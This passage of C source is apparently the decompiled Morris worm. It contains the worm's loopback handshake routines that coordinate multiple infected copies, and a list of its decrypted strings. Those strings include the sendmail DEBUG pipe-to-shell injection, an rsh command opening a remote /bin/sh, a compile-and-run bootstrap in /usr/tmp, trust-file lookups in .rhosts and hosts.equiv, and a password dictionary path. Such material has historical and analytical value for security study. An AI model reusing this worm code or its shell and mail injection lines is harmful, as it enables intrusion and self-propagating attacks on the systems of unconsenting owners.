sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
sin.sin_port = 0x00005b3d;			/* ??? */
if (connect(s, &sin, sizeof(sin)) < 0) {
	close(s);
} else {
	l8 = MAGIC_2;			/* Magic number??? */
	if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
	 close(s);
	 return;
	}
	l8 = 0;
	if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
	 close(s);
	 return;
	}
	if (l8 != MAGIC_1) {
	 close(s);
	 return;
	}
	
	l12 = random()/8;
	if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
	 close(s);
	 return;
	}
	
	if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
	 close(s);
	 return;
	}
	
	if (!((l12+l16) % 2))
	 pleasequit++;
	close(s);
}
sleep(5);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return;
/* Set the socket so that the address may be reused */
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
if (bind(s, &sin, sizeof(sin)) < 0) {
	close(s);
	return;
}
listen(s, 10);
other_fd = s;
return;
}

/* Sleep, waiting for another worm to contact me. */
other_sleep(how_long)				/* 0x5a38 */
{
int nfds, readmask;
long time1, time2;
struct timeval timeout;
if (other_fd < 0) {
	if (how_long != 0)
	 sleep(how_long);
	return;
}
/* Check once again.. */
do {
	if (other_fd < 0)
	 return;
	readmask = 1 << other_fd;
	if (how_long < 0)
	 how_long = 0;
	
	timeout.tv_sec = how_long;
	timeout.tv_usec = 0;
	
	if (how_long != 0)
	 time(&time1);
	nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
	if (nfds < 0)
	 sleep(1);
	if (readmask != 0)
	 answer_other();
	if (how_long != 0) {
	 time(&time2);
	 how_long -= time2 - time1;
	}
} while (how_long > 0);
return;
}

static answer_other()				/* 0x5b14 */
{
int ns, addrlen, magic_holder, magic1, magic2;
struct sockaddr_in sin;			/* 16 bytes */
addrlen = sizeof(sin);
ns = accept(other_fd, &sin, &addrlen);
if (ns < 0)
	return;					/* 620 */
magic_holder = MAGIC_1;
if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
) {
	close(ns);
	return;
}
if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
	close(ns);
	return;
}
if (magic_holder != MAGIC_2) {
	close(ns);
	return;
}
magic1 = random() / 8;
if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
	close(ns);
	return;
}
if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
	close(ns);
	return;
}
close(ns);
if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
	return;
if (((magic1+magic2) % 2) != 0) {
	close(other_fd);
	other_fd = -1;
	pleasequit++;
}
return;
}

/* A timeout-based read. */
xread(fd, buf, length, time)			/* 0x5ca8 */
int fd, time;
char *buf;
unsigned long length;
{
int i, cc, readmask;
struct timeval timeout;
int nfds;
long time1, time2;
for (i = 0; i < length; i++) { 		/* 150 */
	readmask = 1 << fd;
	timeout.tv_sec = time;
	timeout.tv_usec = 0;
	if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
	 return 0;				/* 156 */
	if (readmask == 0)
	 return 0;
	if (read(fd, &buf[i], 1) != 1)
	 return 0;
}
return i;
}


/* These are some of the strings that are encyphed in the binary. The
* person that wrote the program probably used the Berkeley 'xstr' program
* to extract and encypher the strings.
*/
#ifdef notdef
char environ[50] = "";
char *sh = "sh";
char *env52 = "sh";			/* 0x20034, <environ+52> */
char *env55 = "-p";
char *env58 = "l1.c";
char *env63 = "sh";
char *env66 = "/tmp/.dump";
char *env77 = "128.32.137.13";
char *env91 = "127.0.0.1";
char *env102 = "/usr/ucb/netstat -r -n";	/* 0x20066 */
char *env125 = "r";
char *env127 = "%s%s";
#endif /* notdef*/
/*
char *text =
"default
0.0.0.0
127.0.0.1
exec /bin/sh
l1.c
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
x%d.c
echo gorch49;sed '/int zz;/q' > %s;echo gorch50
gorch49
int zz;
gorch50
cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
DONE
x%d,%s
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
./$P -p $$
rm -f $P
rm -f %s $P
l1.c
cd /usr/tmp
x%d.c
cat > %s <<'EOF'
cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
/usr/ucb/rsh
/usr/bin/rsh
/bin/rsh
/bin/echo %s
debug
mail from:</dev/null>
rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
data
quit
quit
exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
/bin/sh
/bin/sh
127.0.0.1
127.0.0.1
/etc/hosts.equiv
%.100s
/.rhosts
%.200s/.forward
%.20s%.20s
%[^ ,]
%*s %[^ ,]s
%.200s/.forward
%.200s/.rhosts
%s%s
/usr/dict/words";
*/

/*
* Local variables:
* compile-command: "cc -S hs.c"
* comment-column: 48
* End: